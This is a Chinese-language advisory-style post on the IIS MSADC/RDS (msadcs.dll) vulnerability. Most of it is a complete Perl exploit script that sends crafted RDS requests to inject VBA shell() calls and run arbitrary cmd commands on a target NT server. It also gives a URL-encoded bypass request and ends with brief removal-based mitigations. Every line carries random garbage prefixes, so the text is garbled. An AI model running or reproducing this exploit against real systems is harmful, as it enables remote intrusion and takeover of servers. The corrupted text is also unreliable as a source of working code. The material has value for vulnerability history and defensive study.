IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
s G!SSRL@ ZaIlo5 涉及程序：
fo;Ftf0 Microsoft NT server
no~hYy W2 p(g0+.?`~ 描述：
mR\rK&'6 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
@z SI@Oq_ +l+8Z: i< 详细：
Vv8e "S 如果你没有时间读详细内容的话，就删除:
z UF%`CR c:\Program Files\Common Files\System\Msadc\msadcs.dll
5xtIez]x? 有关的安全问题就没有了。
Ztu _UlGC 8+5 z -vd 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
By%mJ%$~ WqlX'tA 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
|1iCt1~U 关于利用ODBC远程漏洞的描述，请参看:
z~i=\/~tZ Yx>y(Whu. http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 16Ym*kWIps {x$jGiag+8 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
;-Fr^|do y http://www.microsoft.com/security/bulletins/MS99-025faq.asp C]59@z;+bN T1sb6CT 这里不再论述。
)4q0(O)d +nU"P 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
J{<,V\t) ;<i `6e /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
c'ExZ)RJ 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
"^_9t'0 lv\C(^mGq M haN+N #将下面这段保存为txt文件，然后: "perl -x 文件名"
t6V@00M@ k`[ L #!perl
A2.[P== #
g). k+ # MSADC/RDS 'usage' (aka exploit) script
Lx6C f R #
p^S]O\;M7 # by rain.forest.puppy
A 14} #
Hyx%F N= # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Pp.q DkT # beta test and find errors!
R -CFF Ry2rQM` use Socket; use Getopt::Std;
#!!Ea'3Iq getopts("e:vd:h:XR", \%args);
jLRUWg WtlPgT;wE print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
;[9 WB<t l8rBp87Q if (!defined $args{h} && !defined $args{R}) {
IWbW=0IsS print qq~
|a/1mUxQ& Usage: msadc.pl -h <host> { -d <delay> -X -v }
M`^;h: DN^ -h <host> = host you want to scan (ip or domain)
0].* eM -d <seconds> = delay between calls, default 1 second
_o'_ z ] -X = dump Index Server path table, if available
QhV!%}7 -v = verbose
zfAHE {c -e = external dictionary file for step 5
0`y;[qAG[ yf5X=f .%@ Or a -R will resume a command session
<7Igd6u 5[NF ~; exit;}
nW?DlECo? T
<J%|d .' $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
woIcW if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
=73""ry if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
n u|pa A if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
5 7W4E{A $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
-OY[x|0 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
0NKo)HT ma9VI5 w if (!defined $args{R}){ $ret = &has_msadc;
2pa:
3O die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
%{'hpT~h RDX".'`(= print "Please type the NT commandline you want to run (cmd /c assumed):\n"
O+D"7 . "cmd /c ";
PW a! 7n#A $in=<STDIN>; chomp $in;
ra#s!m1 $command="cmd /c " . $in ;
P5{|U"Y_ ~b L^&o(W if (defined $args{R}) {&load; exit;}
uEp
v l /Hxz@=LC1 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
>(>Fx\z} &try_btcustmr;
;533;(d* o j(JUOief print "\nStep 2: Trying to make our own DSN...";
;yh}$)^9 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
PP{ 2{ ~xz3- a/ print "\nStep 3: Trying known DSNs...";
7k beAJ+{ &known_dsn;
ZLK@x.= )' \pa2 print "\nStep 4: Trying known .mdbs...";
@ H'pvFLK? &known_mdb;
pMJK?- ) +Fu=9j/,j if (defined $args{e}){
'&_<!Nv3 print "\nStep 5: Trying dictionary of DSN names...";
'& ~ A &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
D#lx& J.s Nc4e,>$]& print "Sorry Charley...maybe next time?\n";
?FC6NEu}8 exit;
TM_ MJp -.#He ##############################################################################
("HT0 &#a 9H ~{2Un sub sendraw { # ripped and modded from whisker
)dFTH?Mpo sleep($delay); # it's a DoS on the server! At least on mine...
>we/#C"x my ($pstr)=@_;
[ Tv!Pc socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
8!e1T,:b die("Socket problems\n");
`a. 1 Af;L if(connect(S,pack "SnA4x8",2,80,$target)){
~i&Lc 7Xl select(S); $|=1;
W/R b7q4v print $pstr; my @in=<S>;
0:< dj:%M select(STDOUT); close(S);
B5%N@g$`j return @in;
JpuF 6mQ } else { die("Can't connect...\n"); }}
xv!
Q O 3W*O%9 t7 ##############################################################################
e [D'0L >{_`J sub make_header { # make the HTTP request
adEcIvN$ my $msadc=<<EOT
0M e *X POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
3\Y}{(O | User-Agent: ACTIVEDATA
v&CKtk!3{ Host: $ip
T?=[6 Content-Length: $clen
q#W7.8 Z@ Connection: Keep-Alive
=1D* JU q*Xp"yBTo ADCClientVersion:01.06
u#tLY/KA Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
4%5H<:V7 n
ETm" --!ADM!ROX!YOUR!WORLD!
23a&m04Rk Content-Type: application/x-varg
YE#OAfj~ Content-Length: $reqlen
c" mRMDg% ]stAC3 EOT
]sz3:p=5 ; $msadc=~s/\n/\r\n/g;
Vab+58s5 return $msadc;}
4v# 3UG EFl[u+
1tx ##############################################################################
8e_ITqV% =A,32&;@N sub make_req { # make the RDS request
V+A1O k ) my ($switch, $p1, $p2)=@_;
A]nDI:pO| my $req=""; my $t1, $t2, $query, $dsn;
, O=@I L@rKG ~{Xy if ($switch==1){ # this is the btcustmr.mdb query
aO@zeKg $query="Select * from Customers where City=" . make_shell();
0-dh Gh?. $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
oh{!u!L`] $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
z_XI,u} !/0XoIf" elsif ($switch==2){ # this is general make table query
G6X $query="create table AZZ (B int, C varchar(10))";
m9^ ? p $dsn="$p1";}
G7lC'~} N"~P` H![x elsif ($switch==3){ # this is general exploit table query
h[d|y_)f $query="select * from AZZ where C=" . make_shell();
IQK__) $dsn="$p1";}
+M9= KVr Z+"%MkX0 elsif ($switch==4){ # attempt to hork file info from index server
?k4O)?28 $query="select path from scope()";
7Kx3G{5ja $dsn="Provider=MSIDXS;";}
yc,Qz.+g )i; y4 S elsif ($switch==5){ # bad query
JnX@eBNV $query="select";
\IQP` JR $dsn="$p1";}
(tGK~!cAv cTRQI3Oa> $t1= make_unicode($query);
e=nEx Y $t2= make_unicode($dsn);
m{ gK<T $req = "\x02\x00\x03\x00";
8a{FxCBw $req.= "\x08\x00" . pack ("S1", length($t1));
O2{_:B>K[ $req.= "\x00\x00" . $t1 ;
x9PEYhL? $req.= "\x08\x00" . pack ("S1", length($t2));
!F{ 5"$ $req.= "\x00\x00" . $t2 ;
v ~7 3 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
5Am*1S^ return $req;}
h+$1+Es g5TXs^g ##############################################################################
kKVq,41' ~..h= sub make_shell { # this makes the shell() statement
tZ1iaYbvV return "'|shell(\"$command\")|'";}
,*.C'' -W>zON|l ##############################################################################
k}-%NkQ
9O r8C6bFYM sub make_unicode { # quick little function to convert to unicode
Y=/3_[G my ($in)=@_; my $out;
*>.~ f<V for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
#m9V) 1"wB return $out;}
%V;k/w~[ &..![,)w^! ##############################################################################
z$p +l] =Fea vyx sub rdo_success { # checks for RDO return success (this is kludge)
nM8aC&Rd\ my (@in) = @_; my $base=content_start(@in);
De|@}@ if($in[$base]=~/multipart\/mixed/){
Pp N+q:( return 1 if( $in[$base+10]=~/^\x09\x00/ );}
C78d 29 return 0;}
^ sH1YE}0 =1n>vUW+J ##############################################################################
(J Fa kYs2AzS{d sub make_dsn { # this makes a DSN for us
{U=za1Ga my @drives=("c","d","e","f");
uXeB OLC print "\nMaking DSN: ";
j^Zp BN L foreach $drive (@drives) {
Jg
k@ti.}Z print "$drive: ";
yB}y' 5 my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
_*Vq 1D ]C "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
-GP+e`d . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
A"eT @ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
7w )#[^ return 0 if $2 eq "404"; # not found/doesn't exist
>FHTBh& Y if($2 eq "200") {
c [ff|-<g foreach $line (@results) {
n*D)RiW return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
Uk ?V7?& } return 0;}
oTOe(5N8a ~ ;m~)D ##############################################################################
W 5 :S+ TO[5h Y\ sub verify_exists {
wSIt"g,% my ($page)=@_;
4$.UVW\ my @results=sendraw("GET $page HTTP/1.0\n\n");
] -{T-*h: return $results[0];}
-$WiB txr!3-Ne'! ##############################################################################
$if(`8 )'%L#
sub try_btcustmr {
oG@P M+{ my @drives=("c","d","e","f");
*goi^ Xp my @dirs=("winnt","winnt35","winnt351","win","windows");
I+O !<S B vWf C!k-)b foreach $dir (@dirs) {
3 SQ
5C' E print "$dir -> "; # fun status so you can see progress
)X\3bPDJR foreach $drive (@drives) {
h. 'h L print "$drive: "; # ditto
xKsn);].` $reqlen=length( make_req(1,$drive,$dir) ) - 28;
X?r JO~5 $reqlenlen=length( "$reqlen" );
9>@_};l $clen= 206 + $reqlenlen + $reqlen;
l W&glU( 3{CGYd]_u my @results=sendraw(make_header() . make_req(1,$drive,$dir));
Ta M,9MAu if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
]RnX'yw^ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
k1-?2kf"{ ?\hXJih ##############################################################################
,O
a) @uY%;%Pa8 sub odbc_error {
M~N'z / my (@in)=@_; my $base;
x+yt|
&B my $base = content_start(@in);
Q'~;RE%T if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
"@` mPe/ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
:Np&G4IM> $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Ev0V\tl>0 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
=NJb9S&8A return $in[$base+4].$in[$base+5].$in[$base+6];}
3CQ pe print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
@292;q i print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
`34[w=Z m $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
W,Dr2 $V oL }FD !} ##############################################################################
z=)5M*h "P<~bw5 sub verbose {
E pM
4 + my ($in)=@_;
, {z$M return if !$verbose;
>wcsJ {I print STDOUT "\n$in\n";}
F w{8MQ2 Zb2 B5( 0 ##############################################################################
eMz,DYa/G Mz K&Jh sub save {
Vg[U 4, my ($p1, $p2, $p3, $p4)=@_;
9 lTA/- open(OUT, ">rds.save") || print "Problem saving parameters...\n";
_IpW & print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
, 5r 2!d close OUT;}
D"1ciO8^I] ]]%C\Ryy} ##############################################################################
Y, E:? AS;{O>}54 sub load {
$ #Ji=JX my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
u> >t"w open(IN,"<rds.save") || die("Couldn't open rds.save\n");
NJl|/ (]v @p=<IN>; close(IN);
:^iR& `2~ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
sOJ"~p $target= inet_aton($ip) || die("inet_aton problems");
V i#(x9. print "Resuming to $ip ...";
~q|^z[7 $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
v/yk T9@; if($p[1]==1) {
N;[w`d'# $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
+}9% Duim $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
k, v.U8 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
uvA}7L{UO if (rdo_success(@results)){print "Success!\n";}
8KoPaq else { print "failed\n"; verbose(odbc_error(@results));}}
QT%&vq elsif ($p[1]==3){
IHagRldG if(run_query("$p[3]")){
W=)}=^N0 print "Success!\n";} else { print "failed\n"; }}
t O~ H/0 elsif ($p[1]==4){
M6?Q w= if(run_query($drvst . "$p[3]")){
@RaMO# print "Success!\n"; } else { print "failed\n"; }}
;utjW1y exit;}
(\R"v^ dd4yS}yBlR ##############################################################################
PS=crU@"H ,sLV6DM sub create_table {
VJr ?`
eY4 my ($in)=@_;
SH}O ?d\Q: $reqlen=length( make_req(2,$in,"") ) - 28;
Y}f%/vus $reqlenlen=length( "$reqlen" );
S%%>&^5 $clen= 206 + $reqlenlen + $reqlen;
CB|z{(&N my @results=sendraw(make_header() . make_req(2,$in,""));
j@9nX4Z return 1 if rdo_success(@results);
l_f"}l my $temp= odbc_error(@results); verbose($temp);
UJ6WrO5#kB return 1 if $temp=~/Table 'AZZ' already exists/;
4L5 Wa~5\ return 0;}
*Li;:b"t < ,cD EN7 ##############################################################################
9U;) [R Mb R`$Odplh> sub known_dsn {
J-,T^W v # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
uNx3us- my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
+ qS$t "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
C2`END; "banner", "banners", "ads", "ADCDemo", "ADCTest");
Vx#xq#wK Tp0Tce/ foreach $dSn (@dsns) {
#4" \\ print ".";
f'%}{l: ss next if (!is_access("DSN=$dSn"));
cc ^V~-ph if(create_table("DSN=$dSn")){
wL%> print "$dSn successful\n";
i.by Hz?/ if(run_query("DSN=$dSn")){
beIEy(rA print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
myJsRb5 print "Something's borked. Use verbose next time\n";}}} print "\n";}
4`*jF'N[ !A<?nz
Uv ##############################################################################
'rCwPsI&4 -i;#4@^ t
sub is_access {
7tt&/k?Q my ($in)=@_;
6w@l#p $reqlen=length( make_req(5,$in,"") ) - 28;
r<b g->lX $reqlenlen=length( "$reqlen" );
"dkvk7zCP $clen= 206 + $reqlenlen + $reqlen;
hy6 px my @results=sendraw(make_header() . make_req(5,$in,""));
0,VbB7 z my $temp= odbc_error(@results);
l5@k8tnz verbose($temp); return 1 if ($temp=~/Microsoft Access/);
|:EUh return 0;}
2 K`
hH @h $7C< ##############################################################################
p_mP' 8~4{e,} , sub run_query {
1g|H8 CA my ($in)=@_;
&{7%Vs TB $reqlen=length( make_req(3,$in,"") ) - 28;
W}T$ Z $reqlenlen=length( "$reqlen" );
[z Y9"B<3 $clen= 206 + $reqlenlen + $reqlen;
(s \Nm_j my @results=sendraw(make_header() . make_req(3,$in,""));
58=fT1
B return 1 if rdo_success(@results);
b
~F8 5U2 my $temp= odbc_error(@results); verbose($temp);
o 0fsM;K return 0;}
s 3t{freM q`qbaX\J3 ##############################################################################
=NlAGzv!w RJSNniYr7 sub known_mdb {
n!f @JHL my @drives=("c","d","e","f","g");
.Z9Bbab: my @dirs=("winnt","winnt35","winnt351","win","windows");
%40|7 O my $dir, $drive, $mdb;
<.:B .k my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
^#_@Kq% th zR]l2zL3 # this is sparse, because I don't know of many
38JvJR yK} my @sysmdbs=( "\\catroot\\icatalog.mdb",
R|5w :+=z "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
+VzR9ksJj "\\system32\\certmdb.mdb",
i\ N,4Fdor "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
WJ/&Ag 1 H hIa=,VY my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
;[%AeN5W "\\cfusion\\cfapps\\forums\\forums_.mdb",
$ABW|r "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
r1t TY? "\\cfusion\\cfapps\\security\\realm_.mdb",
Z(CzU {7c "\\cfusion\\cfapps\\security\\data\\realm.mdb",
V>z8 *28S. "\\cfusion\\database\\cfexamples.mdb",
x.}iSE{ "\\cfusion\\database\\cfsnippets.mdb",
Uv .{=H: "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
KZ&8aulP "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
tX6n~NJ$ "\\cfusion\\brighttiger\\database\\cleam.mdb",
<sn^>5Ds "\\cfusion\\database\\smpolicy.mdb",
^Z;5e @S "\\cfusion\\database\cypress.mdb",
%}2 s74D*Z "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
o_jVtEP "\\website\\cgi-win\\dbsample.mdb",
_>*TPlB "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
9' T
nR[> "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
(LQ*U3J]_ ); #these are just
[?_^Cy foreach $drive (@drives) {
&Q 3!ty foreach $dir (@dirs){
"y#$| TMB foreach $mdb (@sysmdbs) {
l 8jm7@.E print ".";
JrS|Ib)6 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
4fQ<A <2/ print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
lP0'Zg( if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
*<]ulR2 print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
9Yd<_B# } else { print "Something's borked. Use verbose next time\n"; }}}}}
Ptn0;GC /_>S0 foreach $drive (@drives) {
$xNZ.|al foreach $mdb (@mdbs) {
Pv/$ ;R% print ".";
<08)G7 if(create_table($drv . $drive . $dir . $mdb)){
>'7Icx print "\n" . $drive . $dir . $mdb . " successful\n";
8,= ,'gFO if(run_query($drv . $drive . $dir . $mdb)){
#sN]6 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
#8 rLB( } else { print "Something's borked. Use verbose next time\n"; }}}}
=5',obYN>c }
:[,-wZiT~6 D8G5,s-. ##############################################################################
;MR8E9 f{G
^b&x sub hork_idx {
AwUc U;"9> print "\nAttempting to dump Index Server tables...\n";
h 5<46!P print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
RMDzPda. $reqlen=length( make_req(4,"","") ) - 28;
!C Y: XQm $reqlenlen=length( "$reqlen" );
i=nd][1n $clen= 206 + $reqlenlen + $reqlen;
h b_"E, `F my @results=sendraw2(make_header() . make_req(4,"",""));
B[epI 3 R if (rdo_success(@results)){
KZ>cfv- &a my $max=@results; my $c; my %d;
u {o3 for($c=19; $c<$max; $c++){
&M&*3 $results[$c]=~s/\x00//g;
Ja"?Pb $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
yxik`vmH $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
U]ynnw4 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
}&F|u0@b $d{"$1$2"}="";}
mA@ FJK_
foreach $c (keys %d){ print "$c\n"; }
yX0n yhq } else {print "Index server doesn't seem to be installed.\n"; }}
:Ugf3%sQ r roI ##############################################################################
B /0Xqyu ,` 6O{Z~ sub dsn_dict {
C6Lc open(IN, "<$args{e}") || die("Can't open external dictionary\n");
[0qe ?aI while(<IN>){
e];lDa#4-Y $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
x+EkL3{ next if (!is_access("DSN=$dSn"));
Je5}Z.3m if(create_table("DSN=$dSn")){
u5;;s@{Ye4 print "$dSn successful\n";
I() =Ufs5z if(run_query("DSN=$dSn")){
L `NY^ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
aS=-9 P;v print "Something's borked. Use verbose next time\n";}}}
< KG q print "\n"; close(IN);}
-n FKP&P 9kHV WDf ##############################################################################
k<Qhw)M8 {bHUZen
sub sendraw2 { # ripped and modded from whisker
!K*(# [ sleep($delay); # it's a DoS on the server! At least on mine...
{7'Wi $^F my ($pstr)=@_;
}IEwGoDwNs socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
=h0 vdi%{ die("Socket problems\n");
<-;/,uu if(connect(S,pack "SnA4x8",2,80,$target)){
,cE yV74 print "Connected. Getting data";
`,QcOkvb C open(OUT,">raw.out"); my @in;
_ t &` T select(S); $|=1; print $pstr;
%e^Gf Z while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
=gN PS 0H close(OUT); select(STDOUT); close(S); return @in;
,.9k)\/V } else { die("Can't connect...\n"); }}
UE8j8U'L @GUlw[vi ##############################################################################
ZP{< f~; +`,;tz=? sub content_start { # this will take in the server headers
`>)[UG!:| my (@in)=@_; my $c;
2Pow-o*r for ($c=1;$c<500;$c++) {
,2YZ B*6h{ if($in[$c] =~/^\x0d\x0a/){
~=va<%{
U if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
; NU-\<Q{ else { return $c+1; }}}
`6$|d,m5 return -1;} # it should never get here actually
)Z f1%h~0r 0vX4v)-^u ##############################################################################
xt_:R~/[
J-#V_TzJ? sub funky {
NNt
n my (@in)=@_; my $error=odbc_error(@in);
i/j53towe if($error=~/ADO could not find the specified provider/){
C R Bj> print "\nServer returned an ADO miscofiguration message\nAborting.\n";
Z<^;Ybw{`Z exit;}
w=pr?jt1: if($error=~/A Handler is required/){
'X<4";$mU print "\nServer has custom handler filters (they most likely are patched)\n";
Q2/65$ nW exit;}
/sfJ:KP0 if($error=~/specified Handler has denied Access/){
] )}a^]0q print "\nServer has custom handler filters (they most likely are patched)\n";
m??Py"1 y exit;}}
G %'xEr0n L!>nl4O>` ##############################################################################
2ah%,o Mg #yl\ v sub has_msadc {
I4W@t4bZ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
! O,Sq/ =. my $base=content_start(@results);
o]E L=j return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
vJL Gy] return 0;}
KL3Z( ? D
_kQl ########################
w A\5-C7 j ~)^'5^ ;z.L^V 0 解决方案：
oNZ_7tU 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
d]poUN~x 2、移除web 目录: /msadc
